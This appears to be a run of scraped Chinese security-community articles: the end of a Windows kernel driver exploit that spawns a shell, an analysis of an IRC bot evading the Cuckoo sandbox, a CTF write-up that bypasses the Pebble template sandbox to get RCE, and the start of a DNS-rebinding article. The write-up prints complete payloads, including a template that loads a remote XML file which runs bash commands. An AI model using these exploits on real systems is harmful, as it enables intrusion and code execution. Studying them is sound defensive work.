__int64 *pShellcodeBuf = (__int64*)VirtualAlloc(NULL, shellcode_len, MEM_RESERVE| MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(pShellcodeBuf, shellcode, shellcode_len);
printf("ShellcodeBuf = %I64x\n", pShellcodeBuf);
*((int*)((char*)payload + JUNK_SIZE)) = (int)pShellcodeBuf;
#endif
RtlCopyMemory(uBuffer, payload, TOAL_SIZE);
HANDLE device = CreateFileA(DRIVER_PATH,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
if (device == INVALID_HANDLE_VALUE) {
printf("[!] Error opening the driver\n");
exit(1);
}
DWORD bytesRet;
BOOL bof = DeviceIoControl(device, /* handler for open driver */
STACK_IOCTL, /* IOCTL for the stack overflow */
uBuffer, /* our user buffer with shellcode/retAddr */
TOAL_SIZE,
NULL, /* no buffer for the driver to write back to */
0, /* above buffer of size 0 */
//&bytesRet, /* dump variable for byte returned */
NULL,
NULL); /* ignore overlap */
/* check if the device IO sent fine! */
if (!bof) {
printf("[!] Error with DeviceIoControl: %d\n", GetLastError());
//exit(1);
}
else {
printf("[*] Success!! Enjoy your shell!\n");
}
/* pop a shell! */
system("cmd.exe");
} | 社区文章 |
# 一例IRC Bot针对Cuckoo沙箱的猥琐对抗分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**作者：ManchurianClassmate**
最近我们通过蜜罐捕获到一例Windows平台的恶意样本，该样本是通过IRC服务器和C2进行通讯的一种IRC
Bot。这种C2通讯方式的恶意程序已经屡见不鲜，但这次这个样本的特别之处在于它包含了非常猥琐的沙箱对抗机制，当样本正常运行的时候和普通的IRC
Bot并没有什么-两样，但是当将它放在沙箱里面的时候会发现沙箱根本捕获不到任何恶意行为，从而逃过检测。
## 0x00 简单介绍一下Cuckoo
Cuckoo是目前使用得非常广泛的一种动态分析系统，其主要功能就是把恶意程序放到Cuckoo系统的虚拟机中，Cuckoo负责运行这些样本程序，并记录它们在虚拟环境中的行为，然后根据捕获到的行为去匹配一个指纹集（Signature），这个指纹集内定义了很多恶意程序的特征行为，比如在关键的位置写入注册表、或者在敏感目录有读写文件的行为等等，最后根据匹配到的指纹对该样本程序进行打分，以评估其危害等级。相比于静态文件特征，行为特征某些情况下更能反应真实的危害情况，而且在没有静态特征的情况下动态特征可能是唯一可行的检测方法。
因为Cuckoo是开源产品，所以被应用得非常广泛，也难免会有恶意程序专门针对Cuckoo设计对抗机制。
## 0x01 通常情况下如何对抗沙箱
### 针对虚拟机
因为反病毒沙箱大多都是基于虚拟机的，所以如果能保证样本在虚拟机环境中不执行那么就能大概率保证其在沙箱中不执行，针对沙箱的检测主要有如下几类：1）虚拟机的特殊进程/注册表信息，比如像VBoxTray.exe、VMwareTray.exe等；2）特殊的驱动程序，比如Virtualbox或VMware在Guest机器里面安装的驱动；3）硬件信息，比如网卡的mac地址，特定品牌虚拟机的网卡mac地址默认情况下大多都在一个特定范围内；4）指令执行环境，比如像LDT、GDT的地址范围等等。
### 针对检测时间
沙箱每一轮分析一个样本的时间是有限的，通常就几分钟，所以如果能让样本在这几分钟内不进入任何核心逻辑那么就可以避免被检测到。通常采取的做法有：1）利用Sleep函数，或和Sleep同等功能的延时函数；2）检测系统时间，通过系统的时间来延时；3）运行一些非常耗时的操作，比如一些特殊的数学算法以达到消耗时间的目的。
### 针对交互
这种做法是为了确保样本是在有人操作的计算机中启动的，比如可以检测鼠标的移动、故意弹窗让用户点击等等。
更详细的一些对抗姿势可以参考网上的一些文章：<https://www.52pojie.cn/thread-377352-1-1.html>
## 0x02 这个样本是怎么做的
而本文涉及的这个样本的沙箱对抗方式和以往已知的方式都不一样。这个在蜜罐中被发现的样本在Cuckoo中检测的分数只有3分，也就是在一个低危害等级上，和很多的正常程序的分值相当。
而且Cuckoo也没有检测到该样本存在网络行为或其他敏感行为。但是当我们手动在虚拟机内运行该样本时发现该样本是存在网络行为的，也就是说该样本在沙箱中没有执行它真正的业务逻辑。首先来梳理一下这个样本在执行业务逻辑之前的流程：
让我们比较感兴趣的是拷贝自身然后重起新进程的过程：
首先是调用`GetModuleFileNameA`获取当前可执行文件的完整路径。
然后又调用了`GetSystemDirectoryA`来获取系统目录（`C:\\Windows\system32`），然后比对是判断当前可执行文件是否在系统目录下，如果不在系统目录下则复制自身到系统目录，启动新文件，自身退出。当新进程启动，这个判断当前路径的逻辑就会走向另一个分支，开始真正的核心业务逻辑，比如发送上线包：
在虚拟机中运行时实际行为也是如此，在第一次运行后复制自身创建新进程，开始执行业务逻辑，但在沙箱中捕获到行为就有点不一样了：
创建的子进程也是干了和父进程一样的事情，然后退出。并没有运行后面的核心业务逻辑，自然沙箱捕获不到后续的恶意行为。
## 0x03 细节原理
为啥相同的代码在不同的环境中会有完全不同的执行逻辑呢，看一下实际调试的情况就会发现运行到`strstr`函数时参数里面有一些猫腻：
这个函数用来判断系统目录是否是当前可执行文件路径的子串。当前可执行文件路径里面System32的S是大写的，而通过`GetSystemDirectoryA`获取到的system32的s是小写的，这样即使当前样本是存在于系统目录下，比对结果也是否，从而无法进入核心逻辑。因为Windows系统不区分文件路径的大小写，所以System32和system32都是有效路径。但是Windows
的不同API对于路径大小写的处理策略并不统一，最坑的是微软官方文档里面并没有对这些细节的描述。`GetSystemDirectoryA`函数始终会返回小写的system32，但是`GetModuleFileNameA`返回值则取决于进程的命令行参数，通常情况下通过资源管理器启动时是大写的System32，但通过`CreateProcess`函数启动的话如果命令行是小写则获取到的路径也是小写。
在这个样本的例子里面母体通过`CreateProcess`启动新进程的时候传入的是小写的命令行参数，在正常运行的情况下这个比对路径的`strstr`函数没有任何问题，但是在沙箱中这个`strstr`的参数里面其中一个的system32的s变成了大写，从而导致了运行逻辑的不同。
为啥在沙箱里面这个system32的s就变成大写了呢？刨一下Cuckoo的代码就可以看到真正的原因了。首先简单介绍一下Cuckoo的工作原理，Cuckoo对样本行为的捕获依靠API
Inline
Hook，被测样本会被注入加载一个监控模块，当样本调用某个API函数时会被劫持到Cuckoo的模块内，这个模块除了常规的做log操作然后返回原函数外还会对某些API的上下文进行篡改，目的在于劫持某些API的执行逻辑。
本次案例的场景就是如此，当恶意样本释放了另外一个文件并创建新进程时Cuckoo需要把监控模块放入新进程的内存空间中才能继续捕获新进程的行为。于是对于`CreateProcess`等相关API有必要在hook中加入额外逻辑，Cuckoo在`CreateProcessInternalW`的hook中加入了如下的一些逻辑：
监控模块会把新加入的代码会把新创建的进程的pid通过一个命名管道传给Cuckoo并且把新进程挂起，Cuckoo再向新创建的进程注入监控模块并解除挂起：
在对`CreateProcessInternalW`的hook中Cuckoo的监控模块会调用`path_get_full_pathw`函数，这个函数在Cuckoo
Monitor的src/misc.c中有定义（<https://github.com/cuckoosandbox/monitor/blob/master/src/misc.c#L503>）：
其中又调用了`GetLongPathW`这个API，而这个API的特性恰好是永远会返回一个大写的路径（也就是System32）。从而在沙箱中虽然通过`CreateProcessA`传入了小写的命令行参数，但经过Cuckoo这么一处理，参数中的路径就又变成大写的了，这样一来对于这个样本而言那个对执行路径的判断就是一个永假的结果，自然在沙箱中就走不到后续的核心逻辑里面去：
如此一来靠一个API在有hook和没有hook的情况下不同的行为表现来让样本在沙箱中有另外一套行为逻辑，从而逃避检测。
## 0x04 结论
以往的很多样本用来对抗沙箱采取的方式都是检测硬件信息，以此来判断是否是在虚拟机中运行，比如判断是否有Vmware、VirtualBox的驱动模块，或者硬盘大小，亦或者IDT、LDT、GDT所在的地址范围等。而本例所利用的特征是某些API在沙箱中所表现出的不同于正常环境的行为，当通过`CreateProcess`创建进程时，命令行中的路径的大小写会被沙箱的hook替换掉。某种意义上来说这也算是一种新颖的检测方式，同时也暴露了反病毒沙箱可能存在的另一类容易被人忽略的弱点。 | 社区文章 |
**作者：Y4tacker
原文链接：<https://tttang.com/archive/1692/>**
## 写在前面
之前周末忙着强网杯，对这道题只做了一半就搁置下来了，最后卡在绕过最新pebble模板引擎RCE那里，今天抽空来继续进行剩下的分析，正好题目里有几个在现实场景当中能用的trick顺便也分享了
## 题目环境分析
也是挺不错题目直接给了docker环境便于本地搭建，同时设置了权限需要执行./getflag才能获取获得flag
FROM openjdk:18-slim-bullseye
RUN mkdir /usr/src/app
WORKDIR /usr/src/app
# create user
RUN groupadd chalusr
RUN useradd -ms /bin/bash -g chalusr chalusr
COPY spoink/target/spoink-0.0.1-SNAPSHOT-spring-boot.jar ./
COPY spoink/public ./public
COPY spoink/templates ./templates
COPY getflag ./
RUN chmod 111 ./getflag
USER chalusr
CMD ["java", "-jar", "/usr/src/app/spoink-0.0.1-SNAPSHOT-spring-boot.jar"]
路由只有一个，根据参数x返回指定模板，刚看到这里的时候其实有点懵，毕竟很少见到只给一个路由的代码
@Controller
public class HomeController {
public HomeController() {
}
@RequestMapping({"/"})
public String getTemplate(@RequestParam("x") Optional<String> template, Model model) {
return (String)template.orElse("home.pebble");
}
}
不过我很快关注到了一个application.properties当中一个很有趣的点，也就是这里没有后缀，因此想到了一个目录穿越的可能
pebble.prefix = templates
pebble.suffix =
## 正文
### 目录穿越
为什么我说上面那个点很有趣，其实就是第一个想分享的trick，路径穿越，简单来说pebble当中有两个loader一个是classpathloader，另一个是fileloader，优先会在classpath下尝试加载模板文件，如果寻找不到则使用fileloader尝试加载模板文件，其他调用栈不是很重要这里就不多提了
既然想实现任意文件读那第一个就别想了，我们来看第二个，它在com.mitchellbosecke.pebble.loader.FileLoader#getFile最终加载模板文件内容
可以很明显看到这里没有做路径限制，导致我们可以进行跨目录读任意文件
结果如下
### RCE攻击路径初步构建
因此我们便能成功想到一条能RCE的攻击路径
1. 上传带恶意内容的模板文件到目标服务器
2. 利用LFI读取这个模板并RCE
### 如何上传文件？上传了如何获取？
但是这里就遇到第一个难点，如何上传文件？这里路由当中并没有上传文件的功能点
怎么办？其实很简单，我们也知道，我们的Spring
MVC框架是围绕DispatcherServlet来设计的，这个Servlet会把请求分发给各个处理器，并支持可配置的处理器映射、视图渲染、本地化、时区与主题渲染和`文件上传`等功能，好了我都圈出来重点了
在这过程当中它会检查这是否是一个表单请求
正好我们也知道spring默认使用内置的tomcat引擎，
在处理表单的内容当中这会调用`org.apache.catalina.connector.Request#getParts`去处理解析内容，而这在之前的文章Tomcat文件上传流量层面系列文章当中也提到过，遗忘的可以去[我的博客](https://y4tacker.github.io/)考古
废话不多说，类似php的处理一样，它会先将上传的文件保存到一个临时目录再最终复制到目标文件夹，临时文件夹的获取在哪里，在`org.apache.catalina.connector.Request#parseParts`
发现是通过`javax.servlet.MultipartConfigElement#getLocation`函数获取到保存到临时路径
不难看到这里是空对吧，也就是默认值(默认的话后面会存到/tmp目录下)，顺便多提一下，哪里可以设置这个location呢
在spring的启动过程当中，会根据`spring.servlet.multipart.location`的值设置这个内容，具体可以自行去参考org.springframework.boot.autoconfigure.web.servlet.MultipartProperties
@ConfigurationProperties(
prefix = "spring.servlet.multipart",
ignoreUnknownFields = false
)
public class MultipartProperties {
private boolean enabled = true;
private String location;
private DataSize maxFileSize = DataSize.ofMegabytes(1L);
private DataSize maxRequestSize = DataSize.ofMegabytes(10L);
private DataSize fileSizeThreshold = DataSize.ofBytes(0L);
private boolean resolveLazily = false;
public MultipartProperties() {
}
public boolean getEnabled() {
return this.enabled;
}
public void setEnabled(boolean enabled) {
this.enabled = enabled;
}
public String getLocation() {
return this.location;
}
public void setLocation(String location) {
this.location = location;
}
public DataSize getMaxFileSize() {
return this.maxFileSize;
}
public void setMaxFileSize(DataSize maxFileSize) {
this.maxFileSize = maxFileSize;
}
public DataSize getMaxRequestSize() {
return this.maxRequestSize;
}
public void setMaxRequestSize(DataSize maxRequestSize) {
this.maxRequestSize = maxRequestSize;
}
public DataSize getFileSizeThreshold() {
return this.fileSizeThreshold;
}
public void setFileSizeThreshold(DataSize fileSizeThreshold) {
this.fileSizeThreshold = fileSizeThreshold;
}
public boolean isResolveLazily() {
return this.resolveLazily;
}
public void setResolveLazily(boolean resolveLazily) {
this.resolveLazily = resolveLazily;
}
public MultipartConfigElement createMultipartConfig() {
MultipartConfigFactory factory = new MultipartConfigFactory();
PropertyMapper map = PropertyMapper.get().alwaysApplyingWhenNonNull();
map.from(this.fileSizeThreshold).to(factory::setFileSizeThreshold);
map.from(this.location).whenHasText().to(factory::setLocation);
map.from(this.maxRequestSize).to(factory::setMaxRequestSize);
map.from(this.maxFileSize).to(factory::setMaxFileSize);
return factory.createMultipartConfig();
}
}
ok回到正文，如果这为空，就会保存到默认路径，也就是`javax.servlet.context.tempdir`，实际上就是在/tmp目录下
try {
String locationStr = mce.getLocation();
File location;
if (locationStr != null && locationStr.length() != 0) {
location = new File(locationStr);
if (!location.isAbsolute()) {
location = (new File((File)context.getServletContext().getAttribute("javax.servlet.context.tempdir"), locationStr)).getAbsoluteFile();
}
} else {
location = (File)context.getServletContext().getAttribute("javax.servlet.context.tempdir");
}
这里调试可以看到将会保存在这个看着就不能爆破的文件夹下，
且不说前面这个又臭又长的文件夹，在最终生成临时文件时`org.apache.tomcat.util.http.fileupload.disk.DiskFileItem#getTempFile`
还有靠UID随机生成的文件名，真的是不怕麻烦
protected File getTempFile() {
if (this.tempFile == null) {
File tempDir = this.repository;
if (tempDir == null) {
tempDir = new File(System.getProperty("java.io.tmpdir"));
}
String tempFileName = String.format("upload_%s_%s.tmp", UID, getUniqueId());
this.tempFile = new File(tempDir, tempFileName);
}
return this.tempFile;
}
不过当然我们肯定是有办法的啦，别忘了有个东西叫文件描述符，这玩意儿是啥我想大家都知道，因此我们可以通过上传大文件多线程狂轰乱炸，burp都给我冲起来！不得不说狂轰乱炸法yyds！按理说上传完了以后这玩意儿就应该关闭，结果我发现我停止后，去和yzddmr6吹牛一分钟都还在。
当然其实还可以通过curl命令的--limit-rate参数来限制HTTP请求和回应的带宽，但我觉得burp狂轰乱炸更适合我.
curl --limit-rate 1k -X POST http://vps:1234 -F "file=@/tmp/1.txt"
之后就是如何实现模板注入实现RCE了
### 利用现有环境Bypass最新版Pebble模板引擎限制
网上随便抄了一个看起来最新的
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
结果命令行大大的问号？然后想到了这是最新版修复了之前的问题
根据报错内容的显示，接下来我们看看具体做的哪些限制，可以看到够恶心的不能是下面这么多类的实例？？？并且能调用FORBIDDEN_METHODS
当中的方法，特别是判断是否为Class实例将我们反射的路给断掉了(在这个模板语法当中只能通过xx.class.forName去获取其他对象)
，剩下代码也很简单就不带着读了
public class BlacklistMethodAccessValidator implements MethodAccessValidator {
private static final String[] FORBIDDEN_METHODS = new String[]{"getClass", "wait", "notify", "notifyAll"};
public BlacklistMethodAccessValidator() {
}
public boolean isMethodAccessAllowed(Object object, Method method) {
boolean methodForbidden = object instanceof Class || object instanceof Runtime || object instanceof Thread || object instanceof ThreadGroup || object instanceof System || object instanceof AccessibleObject || this.isUnsafeMethod(method);
return !methodForbidden;
}
private boolean isUnsafeMethod(Method member) {
return this.isAnyOfMethods(member, FORBIDDEN_METHODS);
}
private boolean isAnyOfMethods(Method member, String... methods) {
String[] var3 = methods;
int var4 = methods.length;
for(int var5 = 0; var5 < var4; ++var5) {
String method = var3[var5];
if (this.isMethodWithName(member, method)) {
return true;
}
}
return false;
}
private boolean isMethodWithName(Method member, String method) {
return member.getName().equals(method);
}
}
### 如何绕过限制加载任意Class对象
我们也知道Spring
应用程序的许多实例都隐式注册为bean，因此我们能不能从bean当中找到一个对象而这个对象当中保存了classloader对象，通过获取到它我们就能通过执行loadClass加载到任意对象
既然如此，第一反应其实就是想到去上下文中看看有没有这些bean对象，而pebble在初始化上下文时是在`com.mitchellbosecke.pebble.template.PebbleTemplateImpl#evaluate(java.io.Writer,
java.util.Map<java.lang.String,java.lang.Object>, java.util.Locale)`当中
可以看到这个map当中存了beans对象，而这个beans对象当中存的是那些bean对象，一方面我们可以直接遍历输出到控制台
另一方面我们也可以直接在代码当中看一眼，反正不费事往上看看，可以看到是在`com.mitchellbosecke.pebble.spring.servlet.PebbleView#addVariablesToModel`
当中，获取了spring的应用程序上下文并添加到beans属性当中
private void addVariablesToModel(Map<String, Object> model, HttpServletRequest request, HttpServletResponse response) {
model.put("beans", new Beans(this.getApplicationContext()));
model.put("request", request);
model.put("response", response);
model.put("session", request.getSession(false));
}
因此我们可以通过表达式获取到这个上下文当中注册的bean，去尝试寻找一些其他的属性来绕过限制，
因此为了方便遍历bean当中的类，我们在原路由前加上获取上下文的部分代码
@RequestMapping({"/"})
public String getTemplate(@RequestParam("x") Optional<String> template, Model model) {
ServletContext sss = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest().getSession().getServletContext();
org.springframework.web.context.WebApplicationContext context = org.springframework.web.context.support.WebApplicationContextUtils.getWebApplicationContext(sss);
String[] beanDefinitionNames = context.getBeanDefinitionNames();
for (String o:beanDefinitionNames) {
System.out.println(o.toString());
}
return (String)template.orElse("home.pebble");
}
重新启动项目并访问可以得到控制台输出
//输出
org.springframework.context.annotation.internalConfigurationAnnotationProcessor
org.springframework.context.annotation.internalAutowiredAnnotationProcessor
org.springframework.context.annotation.internalCommonAnnotationProcessor
org.springframework.context.event.internalEventListenerProcessor
org.springframework.context.event.internalEventListenerFactory
spoinkApplication
org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory
homeController
pebbleLoader
org.springframework.boot.autoconfigure.AutoConfigurationPackages
org.springframework.boot.autoconfigure.context.PropertyPlaceholderAutoConfiguration
propertySourcesPlaceholderConfigurer
org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration$TomcatWebSocketConfiguration
websocketServletWebServerCustomizer
org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration
org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration$EmbeddedTomcat
tomcatServletWebServerFactory
org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryAutoConfiguration
servletWebServerFactoryCustomizer
tomcatServletWebServerFactoryCustomizer
org.springframework.boot.context.properties.ConfigurationPropertiesBindingPostProcessor
org.springframework.boot.context.internalConfigurationPropertiesBinderFactory
org.springframework.boot.context.internalConfigurationPropertiesBinder
org.springframework.boot.context.properties.BoundConfigurationProperties
org.springframework.boot.context.properties.EnableConfigurationPropertiesRegistrar.methodValidationExcludeFilter
server-org.springframework.boot.autoconfigure.web.ServerProperties
webServerFactoryCustomizerBeanPostProcessor
errorPageRegistrarBeanPostProcessor
org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletConfiguration
dispatcherServlet
spring.mvc-org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties
org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletRegistrationConfiguration
dispatcherServletRegistration
org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration
org.springframework.boot.autoconfigure.task.TaskExecutionAutoConfiguration
taskExecutorBuilder
applicationTaskExecutor
spring.task.execution-org.springframework.boot.autoconfigure.task.TaskExecutionProperties
org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$WhitelabelErrorViewConfiguration
error
beanNameViewResolver
org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$DefaultErrorViewResolverConfiguration
conventionErrorViewResolver
spring.web-org.springframework.boot.autoconfigure.web.WebProperties
org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration
errorAttributes
basicErrorController
errorPageCustomizer
preserveErrorControllerTargetClassPostProcessor
org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$EnableWebMvcConfiguration
requestMappingHandlerAdapter
requestMappingHandlerMapping
welcomePageHandlerMapping
localeResolver
themeResolver
flashMapManager
mvcConversionService
mvcValidator
mvcContentNegotiationManager
mvcPatternParser
mvcUrlPathHelper
mvcPathMatcher
viewControllerHandlerMapping
beanNameHandlerMapping
routerFunctionMapping
resourceHandlerMapping
mvcResourceUrlProvider
defaultServletHandlerMapping
handlerFunctionAdapter
mvcUriComponentsContributor
httpRequestHandlerAdapter
simpleControllerHandlerAdapter
handlerExceptionResolver
mvcViewResolver
mvcHandlerMappingIntrospector
viewNameTranslator
org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$WebMvcAutoConfigurationAdapter
defaultViewResolver
viewResolver
requestContextFilter
org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration
formContentFilter
com.mitchellbosecke.pebble.boot.autoconfigure.PebbleServletWebConfiguration
pebbleViewResolver
com.mitchellbosecke.pebble.boot.autoconfigure.PebbleAutoConfiguration
springExtension
pebbleEngine
pebble-com.mitchellbosecke.pebble.boot.autoconfigure.PebbleProperties
org.springframework.boot.autoconfigure.jmx.JmxAutoConfiguration
mbeanExporter
objectNamingStrategy
mbeanServer
org.springframework.boot.autoconfigure.admin.SpringApplicationAdminJmxAutoConfiguration
springApplicationAdminRegistrar
org.springframework.boot.autoconfigure.aop.AopAutoConfiguration$ClassProxyingConfiguration
forceAutoProxyCreatorToUseClassProxying
org.springframework.boot.autoconfigure.aop.AopAutoConfiguration
org.springframework.boot.autoconfigure.availability.ApplicationAvailabilityAutoConfiguration
applicationAvailability
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfiguration
standardJacksonObjectMapperBuilderCustomizer
spring.jackson-org.springframework.boot.autoconfigure.jackson.JacksonProperties
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperBuilderConfiguration
jacksonObjectMapperBuilder
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$ParameterNamesModuleConfiguration
parameterNamesModule
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperConfiguration
jacksonObjectMapper
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration
jsonComponentModule
org.springframework.boot.autoconfigure.context.ConfigurationPropertiesAutoConfiguration
org.springframework.boot.autoconfigure.context.LifecycleAutoConfiguration
lifecycleProcessor
spring.lifecycle-org.springframework.boot.autoconfigure.context.LifecycleProperties
org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration$StringHttpMessageConverterConfiguration
stringHttpMessageConverter
org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration$MappingJackson2HttpMessageConverterConfiguration
mappingJackson2HttpMessageConverter
org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration
org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration
messageConverters
org.springframework.boot.autoconfigure.info.ProjectInfoAutoConfiguration
spring.info-org.springframework.boot.autoconfigure.info.ProjectInfoProperties
org.springframework.boot.autoconfigure.sql.init.SqlInitializationAutoConfiguration
spring.sql.init-org.springframework.boot.autoconfigure.sql.init.SqlInitializationProperties
org.springframework.boot.sql.init.dependency.DatabaseInitializationDependencyConfigurer$DependsOnDatabaseInitializationPostProcessor
org.springframework.boot.autoconfigure.task.TaskSchedulingAutoConfiguration
scheduledBeanLazyInitializationExcludeFilter
taskSchedulerBuilder
spring.task.scheduling-org.springframework.boot.autoconfigure.task.TaskSchedulingProperties
org.springframework.boot.autoconfigure.web.client.RestTemplateAutoConfiguration
restTemplateBuilderConfigurer
restTemplateBuilder
org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration$TomcatWebServerFactoryCustomizerConfiguration
tomcatWebServerFactoryCustomizer
org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration
org.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfiguration
characterEncodingFilter
localeCharsetMappingsCustomizer
org.springframework.boot.autoconfigure.web.servlet.MultipartAutoConfiguration
multipartConfigElement
multipartResolver
spring.servlet.multipart-org.springframework.boot.autoconfigure.web.servlet.MultipartProperties
org.springframework.aop.config.internalAutoProxyCreator
之后也算运气好，测了前几个就发现通过取得internalCachingMetadataReaderFactory对象可以拿到classLoader
因此有了这个我们便可以加载任意类了
{% set class1= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("xxxx") %}
但是我们需要获得一个类实例，但是我们不能去调用它的任何方法毕竟是class类，很好的一点是这里有jackson??，beans对象里也能直接获取到，解决一切问题
{% set woshishuaibi = beans.get("jacksonObjectMapper").readValue("{}", class1) %}
因此我们能获得一个类的实例以后rce就相对“简单”了??，比如说
ScriptEngineManager engineManager = new ScriptEngineManager();
ScriptEngine engine = engineManager.getEngineByName("js");
engine.eval("xxxx");
但题目当中环境是jdk18，发现engineManager.getEngineByName里面裤子都不剩了啥都没有，看来这个方法也是没用的，同时由于jackson实例化限制我们也不能直接实例化jshell
此时灵机一动我又想到两个类，它们实例化加载配置文件可以造成rce
* org.springframework.context.support.ClassPathXmlApplicationContext
* org.springframework.context.support.FileSystemXmlApplicationContext
但是脸黑啊，环境里面jackson有限制，继承了AbstractPointcutAdvisor/AbstractApplicationContext这两个类的都不行，心里xxx
这时候怎么办呢？那classpath下有没有某个类可以帮助我们实例化任意对象呢？
### 另类绕过Jackson黑名单限制
当然有哒！也就是java.beans.Beans类，这个类可以帮助我们实例化任意方法
public static Object instantiate(ClassLoader cls, String beanName) throws IOException, ClassNotFoundException {
return Beans.instantiate(cls, beanName, null, null);
}
这里的参数cls可以不传，为null则会默认调用ClassLoader.getSystemClassLoader();获取一个classloader
public static Object instantiate(ClassLoader cls, String beanName,
BeanContext beanContext,
AppletInitializer initializer)
throws IOException, ClassNotFoundException {
InputStream ins;
ObjectInputStream oins = null;
Object result = null;
boolean serialized = false;
IOException serex = null;
// If the given classloader is null, we check if an
// system classloader is available and (if so)
// use that instead.
// Note that calls on the system class loader will
// look in the bootstrap class loader first.
if (cls == null) {
try {
cls = ClassLoader.getSystemClassLoader();
} catch (SecurityException ex) {
// We're not allowed to access the system class loader.
// Drop through.
}
}
之后的逻辑我们不需要关注那个二次反序列化的部分,在后面可以看到可以实例化任意public修饰的构造方法
if (result == null) {
// No serialized object, try just instantiating the class
Class<?> cl;
try {
cl = ClassFinder.findClass(beanName, cls);
} catch (ClassNotFoundException ex) {
// There is no appropriate class. If we earlier tried to
// deserialize an object and got an IO exception, throw that,
// otherwise rethrow the ClassNotFoundException.
if (serex != null) {
throw serex;
}
throw ex;
}
if (!Modifier.isPublic(cl.getModifiers())) {
throw new ClassNotFoundException("" + cl + " : no public access");
}
/*
* Try to instantiate the class.
*/
try {
result = cl.newInstance();
} catch (Exception ex) {
// We have to remap the exception to one in our signature.
// But we pass extra information in the detail message.
throw new ClassNotFoundException("" + cl + " : " + ex, ex);
}
}
### 最终构造实现RCE
最终模板文件构造
{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy = beans.get("jacksonObjectMapper").readValue("{}", y) %}
{% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlApplicationContext") %}
{{ yyy.setConfigLocation("http://xxxx/1.xml") }}
{{ yyy.refresh() }}
1.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>open</value>
<value>-a</value>
<value>calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
本地弹出了计算器，那么现在则可以开始着手解题了，
构造命令`./getflag > /tmp/flag`
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>echo Li9nZXRmbGFnID4gL3RtcC9mbGFn|base64 -d|bash -i</value>
</list>
</constructor-arg>
</bean>
</beans>
先用burp狂轰乱炸，看到页面有回显的说明执行成功
再包含进来就ok了
## 参考文章
[远古pebble模板注入payload](https://gingsguard.github.io/server-side-template-injection-on-the-example-of-pebble/)
[Determine if a Process Runs Inside a
Container](https://www.baeldung.com/linux/is-process-running-inside-container
"Determine if a Process Runs Inside a Container")
* * * | 社区文章 |
# 基于Web攻击的方式发现并攻击物联网设备
|
##### 译文声明
本文是翻译文章，文章原作者 netsparker，文章来源：netsparker.com
原文地址：<https://www.netsparker.com/blog/web-security/discovering-hacking-iot-devices-using-web-based-attacks/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近二十年来，DNS重绑定（DNS
rebinding）攻击一直是讨论的话题。尽管浏览器厂商做出了努力，但仍然无法找到一个能稳定抵御这些攻击的防御系统。据说这类问题八年前就已经被修复了。但是这类攻击通过新的攻击向量再次出现。
总的来说，可以肯定未来的黑客活动将通过多个现有攻击组合形成新的攻击向量。这些新攻击向量的一个很好的例子就是攻击加密货币钱包的DNS重绑定攻击。
在本文中，我们讨论了Princeton（普林斯顿大学）和UC
